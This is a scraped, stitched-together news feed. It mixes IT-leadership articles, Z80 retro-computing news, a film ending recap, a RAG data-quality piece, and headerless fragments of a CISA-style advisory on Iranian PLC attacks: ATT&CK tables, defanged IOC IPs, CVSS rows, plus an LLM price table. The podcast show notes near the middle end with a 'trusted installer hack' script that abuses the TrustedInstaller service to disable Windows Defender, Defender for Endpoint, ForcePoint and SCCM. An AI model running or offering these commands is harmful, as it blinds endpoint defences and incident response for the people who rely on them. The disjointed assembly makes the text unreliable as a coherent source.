A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.

6. The scheduled agent

On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.

A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.

A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.

Bringing it together

None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.

Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?

Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Zilog Z80 8-Bit CPU Turns 50, Open-source Replacement Heads To Drop-in DIP40 Silicon
Mon, 20 Jul 2026 03:08:12 +0200
An anonymous reader shared this report from Tom's Hardware:

The Zilog Z80 has just turned 50 years old. This iconic 8-bit processor first went on sale in July 1976 and stayed in production for 48 years until Zilog, now a Littelfuse subsidiary, stopped accepting orders in June 2024. However, there's an open-source replacement closer than ever to shipping in the chip's original 40-pin DIP package thanks to community-funded fabrication... 

The chip powered the ZX Spectrum, TRS-80, MSX machines, Nintendo's Game Boy, Sega's Master System, the Pac-Man arcade cabinet, and Texas Instruments' graphing calculators, then shipped in industrial controllers for decades after home computing moved on to more powerful successors. Zilog's end-of-life notice, dated April 15, 2024, told customers its wafer foundry was discontinuing support for the Z84C00 family, and last-time-buy orders closed that June. 
However, Renaldas Zioma's FOSS Z80 project, launched shortly after the end-of-life notice, now has working silicon. The first version, fabbed on SkyWater's 130nm node through Tiny Tapeout 7 on a die of just 0.064mm(2), has been confirmed as functional via the project's GitHub repository. A QFN64 version with all 40 pins exposed followed on the Efabless CI2406 shuttle, two further runs then went through IHP's 130nm process, and the current run targets the classic DIP40 form factor using chip-on-board assembly on GlobalFoundries' 180nm GF180MCU node via Wafer.Space. The end goal here is to fab a drop-in replacement for machines like the ZX Spectrum and RC2014 kits... 

Zilog is trimming the Z80's official successor line as well. A product change notification from last October put the eZ80L92, along with several Z8F-series microcontrollers, on end-of-life, citing "little to no demand..." [T]he pipelined eZ80 architecture, introduced in 2001 and still inside TI's current TI-84 Plus CE calculators, otherwise remains in Zilog's catalog. 

In 1999 Slashdot was calling Zilog's updated eZ80 "one of the fastest 8-bit CPUs available today, executing code 4 times faster than a standard Z80 operating at the same clock speed." 

Slashdot headline from 2001: Zilog To File For Chapter 11.

Read more of this story at Slashdot.

The audit trail CIOs need before the next cyber crisis
Mon, 20 Jul 2026 02:13:22 +0200

In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.

Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.

Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.

The erosion of the corporate shield

With the application of the European Union’s Digital Operational Resilience Act (DORA) for financial entities, alongside the broader NIS2 Directive for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the U.S. Securities and Exchange Commission’s cybersecurity disclosure rules require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.

The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.

When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?

When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.

Why point-in-time comfort letters fail regulatory scrutiny

The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.

But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.

Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.

When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.

5 non-negotiable artifacts for your executive evidence engine

This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.

It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.

To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?

Board-facing risk registers with escalation history: A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.

Granular risk acceptance records: You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.

Tabletop and operational simulation records: Independent frameworks such as ISACA’s Digital Trust Ecosystem Framework can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.

AI governance inventories and data-flow mappings: The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.

Synchronized disclosure-control handoffs: When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.

In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.

Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.

The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.

.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds
Mon, 20 Jul 2026 02:06:59 +0200
This show has been flagged as Explicit by the host.

 Show Notes

 Episode Overview

Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

 Key Topics & Breakdown

Egg Drop Soup Hack:
 How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.

Camera Setup & Network Config:
 Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.

Python & Cron Automation:
 Running a custom Python script every 2 minutes to check for new recordings, parsing logs with 
grep -v
, and navigating massive log files in 
vi
.

Windows Troubleshooting Tangent:
 Deleting the stubborn 
Windows.old
 folder using the TrustedInstaller service hack (
ExecTI.exe
) instead of taking ownership manually.

Time Sync & Firmware Quirks:
 Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming 
.bin
 to 
.zip
, and extracting with 7-Zip.

Pre-Flash Backup Routine:
 Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

crontab
 + Python scripts for automated monitoring

grep -v
, 
cat
, 
tail
, and 
vi
 (line navigation with 
:1000
)

Obsidian for note-taking & AI assistant integration

Firefox/Playwright for headless browser testing

Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads

7-Zip for archive extraction

Google Drive for searchable config backups

 Resources & Links

Python API Script:

Uniview IPC3628SR Recording Checker

Camera Model:

IPC3628SR
 (Uniview Wyze ISP Warm Light Deterrent Network Camera)

TrustedInstaller Run-as Tool:

ExecTI TrustedInstaller Runner

 Quick Takeaways

 Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.

 Use 
grep -v "noise"
 to quickly filter out repetitive log entries when debugging automation scripts.

 Windows system folders can be stubborn; running commands as 
TrustedInstaller
 bypasses hidden file locks without manual ownership changes.

 Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.

 Third-party download links often use temporary tokens or 
.bin
 wrappers; renaming to 
.zip
 and verifying with 7-Zip can save headaches.

Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"  

sc start "TrustedInstaller" 

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"  

sc start "TrustedInstaller" 

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"  

sc start "TrustedInstaller" 

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"  

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

Netflix’s Desire Ending Explained: Who Killed Matías and What Happens to Lucero?
Mon, 20 Jul 2026 00:24:19 +0200
Netflix’s Desire ends by revealing that nearly every member of Lucero’s family played a role in Matías’ death. The final poolside sequence explains how jealousy, betrayal and fear turned a secret affair into a fatal family cover-up.

Major spoilers for Desire follow.

Desire Release Date, Cast and Other Details

Netflix release date: July 17, 2026

Original title: Deseo

Genre: Erotic thriller, psychological drama

Runtime: Around 98 minutes

Director: Teresa Simone

Language: Spanish

Main cast: Ludwika Paleta, Óscar Casas, José María Yazpik and Pilar Pascual

The Mexican-Spanish movie follows Lucero, a successful 47-year-old lawyer who appears to have a comfortable life with her husband, Fernando, and their two children. However, she feels increasingly dissatisfied with her marriage and begins an affair with Matías, the young swimming coach hired by Fernando.

The situation becomes more dangerous when Lucero’s daughter, Viviana, also develops feelings for Matías. What begins as an affair soon becomes a tense triangle involving secrecy, manipulation and jealousy.

Where Is the Story Heading Before the Final Scene?

The movie opens with blood near the family’s indoor swimming pool, immediately confirming that someone has died. It then moves back through the events that caused the tragedy.

Lucero’s relationship with Matías grows more intense, even as she understands that the affair could destroy her marriage, career and relationship with her children. Matías also becomes involved with Viviana, creating further tension inside the family.

As the truth begins to surface, each character reacts differently. Viviana feels betrayed by both Matías and her mother, while Fernando begins to understand what has been happening inside his home. Lucero, meanwhile, focuses on protecting her family and preventing the affair from becoming public.

Since Desire is a standalone movie, there are no previous seasons to revisit. The entire story builds toward the night at the pool and the mystery surrounding Matías’ death.

Desire Ending Explained: Who Killed Matías?

The ending reveals that Matías’ death was caused by several actions rather than one sudden attack.

Julian secretly drugs Matías earlier in the evening. The drug leaves him physically weakened and less capable of defending himself when the conflict reaches the swimming pool.

Viviana then confronts Matías after discovering the truth about his relationship with Lucero. Feeling humiliated and used, she attacks him and leaves him injured.

Fernando later finds Matías bleeding and struggling in the pool. Instead of rescuing him, Fernando chooses to leave him there. His decision makes him directly responsible for allowing the situation to become fatal.

Lucero arrives for the final confrontation and sees that Matías is still alive. Matías appears to believe that she has come to help him or choose him over her family. However, Lucero pushes him beneath the water and holds him there until he drowns.

Lucero therefore delivers the final killing act, although every member of the family contributes to the chain of events that leads to his death.

Why Does Lucero Kill Matías?

Lucero kills Matías because she sees him as a threat to everything she wants to protect. Their affair once offered excitement and escape, but it eventually endangered her children, marriage and public life.

By the final scene, Lucero no longer views Matías as a romantic partner. She sees him as the person capable of exposing the family’s secrets and destroying their remaining sense of stability.

Her decision also completes her transformation. She begins the movie searching for freedom from her controlled life, yet she ends it committing murder to regain control.

Does Lucero’s Family Escape?

The movie does not show the family facing immediate legal consequences. Since several people contributed to Matías’ death, they share a reason to hide what happened.

The final revelation suggests that their family can remain together only by protecting the same secret. Any one of them could expose the others, creating an uneasy balance based on guilt rather than trust.

The opening bloodstains also take on a clearer meaning. They represent the evidence the family must remove, but they also reflect damage that cannot be completely erased.

What Does the Ending of Desire Mean?

The ending shows how unchecked desire damages every relationship around Lucero. Her affair affects her husband, draws her daughter into a painful rivalry and eventually turns the entire family into participants in Matías’ death.

Lucero technically protects her family from Matías, but their earlier life cannot return. Fernando knows about her betrayal, Viviana knows that her mother was involved with the same man, and everyone understands what happened beside the pool.

Desire ends without offering a clean resolution because the family’s punishment comes from living with the truth. What did you think about Lucero’s final decision, and who carries the most blame for Matías’ death? Let us know in the comments.

The cleanup trap: Stop asking RAG to fix bad data
Sun, 19 Jul 2026 22:32:19 +0200
The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.
When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.
But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.
This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.
The mirage of the retrieval layer
In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.
It is not.
When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.
If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.
No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.
Shifting from ad-hoc patching to programmatic guardrails
To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.
This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.
1. Harden the ingestion pipeline
Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.
Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.
2. Use multi-tiered algorithmic validation
Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.
This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.
If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.
3. Decouple security and compliancemfrom the model
An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.
Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.
Technical alignment: A pragmatic blueprint
For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.
Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?
Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?
Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?
These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.
Building for the production era
The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.
If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.
The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.
In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.
Naveen Ayalla is a senior data engineer.

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Title	Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication	April 7, 2026
Last Update	July 22, 2026
Executive Summary	The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description	This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products	Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions	Install PLCs consistent with manufacturers' guidelines and security best practices. Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action. Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including `44818`, `2222`, `102`, and `502`, especially traffic originating from foreign hosting providers. For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise	For a downloadable copy of July 22, 2026 IOCs, see: AA26-097A STIX XML (July 2026) (29 KB) AA26-097A STIX JSON (July 2026) (30 KB) For a downloadable copy of historical April 7, 2026 IOCs, see: AA26-097A STIX XML (36 KB) AA26-097A STIX JSON (12 KB)
Intended Audience	Organizations: Critical Infrastructure Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]175	September 2025	February 2026
141.11.164[.]153	January 2026	June 2026
175.110.121[.]42	February 2026	March 2026
175.110.121[.]39	February 2026	March 2026
175.110.121[.]41	February 2026	March 2026
175.110.121[.]107	February 2026	February 2026
192.142.54[.]79	May 2026	June 2026
84.200.205[.]165	May 2026	June 2026
185.225.17[.]225	June 2026	July 2026
79.133.46[.]209	July 2026	July 2026
88.80.150[.]199	July 2026	July 2026
88.80.150[.]200	July 2026	July 2026
88.80.150[.]202	July 2026	July 2026

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]162	January 2025	March 2026
185.82.73[.]164	January 2025	March 2026
185.82.73[.]165	January 2025	March 2026
185.82.73[.]167	January 2025	March 2026
185.82.73[.]168	January 2025	March 2026
185.82.73[.]170	January 2025	March 2026
185.82.73[.]171	January 2025	March 2026
135.136.1[.]133	March 2026	March 2026

Technique Title	ID	Use
Commonly Used Port	T0885	The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools	T1219	The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port `22`.

Technique Title	ID	Use
Active Scanning: Scanning IP Blocks	T1595.001	Scan range of IP addresses
Active Scanning: Vulnerability Scanning	T1595.002	Scan victims for vulnerabilities that can be used during targeting

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Servers	T1583.003	Leverage VPS as infrastructure
Compromise Infrastructure: Network Devices	T1584.008	Compromise intermediate routers
Obtain Capabilities: Exploits	T1588.005	Use publicly available code to exploit vulnerable devices

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Exploit publicly known CVEs
Proxy	T1090	Use a connection proxy to direct network traffic

Technique Title	ID	Use
Data from Configuration Repository: SNMP (MIB Dump)	T1602.001	Target MIB to collect network information via SNMP
Data from Configuration Repository: Network Device Configuration Dump	T1602.002	Acquire credentials by collecting network device configurations

Technique Title	ID	Use
Proxy	T1090	Use VPS for C2
Application Layer Protocol	T1071	Open and expose a variety of different services, including TFTP and FTP

Countermeasure Title	ID	Description
Application Configuration Hardening	D3-ACH	Use SNMPv3 and disable SNMPv1 and SNMPv2. Use SNMP allowlisting to restrict access to OIDs and MIBs. Disable Cisco Smart Install.
Message Authentication	D3-MAN	Use SNMPv3 with strong authentication.
Message Encryption	D3-MENCR	Use SNMPv3 to encrypt payloads.
Credential Hardening	D3-CH	Use strong, unique passwords and store them securely.
Platform Monitoring	D3-PM	Monitor for unusual credentials. Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering	D3-NTF	Use ACLs to only allow management protocols from management devices. Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment	D3-NVA	Use an attack surface management service.

CVSS Version	Base Score	Base Severity	Vector String
3.1	8.8	HIGH	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0	8.7	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS Version	Base Score	Base Severity	Vector String
3.1	6.5	MEDIUM	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0	7.1	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS Version	Base Score	Base Severity	Vector String
3.1	6.5	MEDIUM	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
4.0	7.1	HIGH	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Model	Input ($/1M)	Output ($/1M)	Total ($/1M)	Source
MiMo-V2.5 Flash	$0.10	$0.30	$0.40	Xiaomi
deepseek-v4-flash	$0.14	$0.28	$0.42	DeepSeek
deepseek-v4-pro	$0.435	$0.87	$1.305	DeepSeek
MiniMax-M3	$0.30	$1.20	$1.50	MiniMax
LongCat-2.0 — limited-time promo	$0.30	$1.20	$1.50	LongCat
Gemini 3.1 Flash-Lite	$0.25	$1.50	$1.75	Google
Qwen3.7-Plus	$0.40	$1.60	$2.00	Alibaba Cloud
MiMo-V2.5	$0.40	$2.00	$2.40	Xiaomi
Gemini 3.5 Flash-Lite	$0.30	$2.50	$2.80	Google
LongCat-2.0 — standard	$0.75	$2.95	$3.70	LongCat
MiMo-V2.5 Pro (≤256K)	$1.00	$3.00	$4.00	Xiaomi
GLM-5.2	$1.40	$4.40	$5.80	Z.ai
GPT-5.6 Luna	$1.00	$6.00	$7.00	OpenAI
Grok 4.5	$2.00	$6.00	$8.00	xAI
MiMo-V2.5 Pro (>256K)	$2.00	$6.00	$8.00	Xiaomi
Gemini 3.6 Flash	$1.50	$7.50	$9.00	Google
Qwen3.7-Max	$2.50	$7.50	$10.00	Alibaba Cloud
Gemini 3.5 Flash	$1.50	$9.00	$10.50	Google
Gemini 3.1 Pro Preview (≤200K)	$2.00	$12.00	$14.00	Google
GPT-5.6 Terra	$2.50	$15.00	$17.50	OpenAI
GPT-5.4	$2.50	$15.00	$17.50	OpenAI
Kimi K3	$3.00	$15.00	$18.00	Moonshot AI
Gemini 3.1 Pro Preview (>200K)	$4.00	$18.00	$22.00	Google
Claude Opus 4.8	$5.00	$25.00	$30.00	Anthropic
GPT-5.5	$5.00	$30.00	$35.00	OpenAI
GPT-5.5 Instant (chat-latest)	$5.00	$30.00	$35.00	OpenAI
Sakana Fugu Ultra (≤272K)	$5.00	$30.00	$35.00	Sakana AI
GPT-5.6 Sol	$5.00	$30.00	$35.00	OpenAI
Claude Fable 5 / Claude Mythos 5	$10.00	$50.00	$60.00	Anthropic

Control Domain	What Broke	Monday Action
Dataset admission controls	Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.	Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.
